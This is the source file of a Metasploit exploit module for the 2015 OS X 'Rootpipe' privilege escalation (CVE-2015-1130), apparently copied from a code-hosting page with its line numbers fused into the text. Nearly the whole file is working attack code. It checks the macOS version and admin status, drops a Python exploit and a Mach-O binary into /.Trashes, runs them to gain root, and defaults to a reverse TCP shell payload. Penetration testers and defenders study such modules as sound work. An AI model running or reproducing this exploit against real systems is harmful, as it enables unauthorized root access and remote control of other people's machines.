Path: blob/master/modules/exploits/osx/local/rootpipe.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Apple OS X Rootpipe Privilege Escalation',19'Description' => %q{20This module exploits a hidden backdoor API in Apple's Admin framework on21Mac OS X to escalate privileges to root, dubbed "Rootpipe."2223This module was tested on Yosemite 10.10.2 and should work on previous versions.2425The patch for this issue was not backported to older releases.2627Note: you must run this exploit as an admin user to escalate to root.28},29'Author' => [30'Emil Kvarnhammar', # Vulnerability discovery and PoC31'joev', # Copy/paste monkey32'wvu' # Meta copy/paste monkey33],34'References' => [35['CVE', '2015-1130'],36['OSVDB', '114114'],37['EDB', '36692'],38['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']39],40'DisclosureDate' => '2015-04-09',41'License' => MSF_LICENSE,42'Platform' => 'osx',43'Arch' => ARCH_X64,44'SessionTypes' => ['shell'],45'Privileged' => true,46'Targets' => [47['Mac OS X 10.9-10.10.2', {}]48],49'DefaultTarget' => 0,50'DefaultOptions' => {51'PAYLOAD' => 'osx/x64/shell_reverse_tcp',52'PrependSetreuid' => true53},54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options [63OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python'])64]65register_advanced_options [66OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])67]68end6970def base_dir71datastore['WritableDir'].to_s72end7374def check75(ver? && is_admin?) ? CheckCode::Appears : CheckCode::Safe76end7778def exploit79if is_root?80fail_with Failure::BadConfig, 'Session already has root privileges'81end8283unless is_admin?84fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."85end8687if check != CheckCode::Appears88fail_with Failure::NotVulnerable, 'Target is not vulnerable'89end9091unless writable? base_dir92fail_with Failure::BadConfig, "#{base_dir} is not writable"93end9495print_status("Writing exploit to `#{exploit_file}'")96write_file(exploit_file, python_exploit)97register_file_for_cleanup(exploit_file)9899print_status("Writing payload to `#{payload_file}'")100write_file(payload_file, binary_payload)101register_file_for_cleanup(payload_file)102103print_status('Executing exploit...')104cmd_exec(sploit)105print_status('Executing payload...')106cmd_exec(payload_file)107end108109def ver?110Rex::Version.new(get_sysinfo['ProductVersion']).between?(111Rex::Version.new('10.9'), Rex::Version.new('10.10.2')112)113end114115def sploit116"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"117end118119def python_exploit120File.read(File.join(121Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'122))123end124125def binary_payload126Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)127end128129def exploit_file130@exploit_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"131end132133def payload_file134@payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"135end136end137138139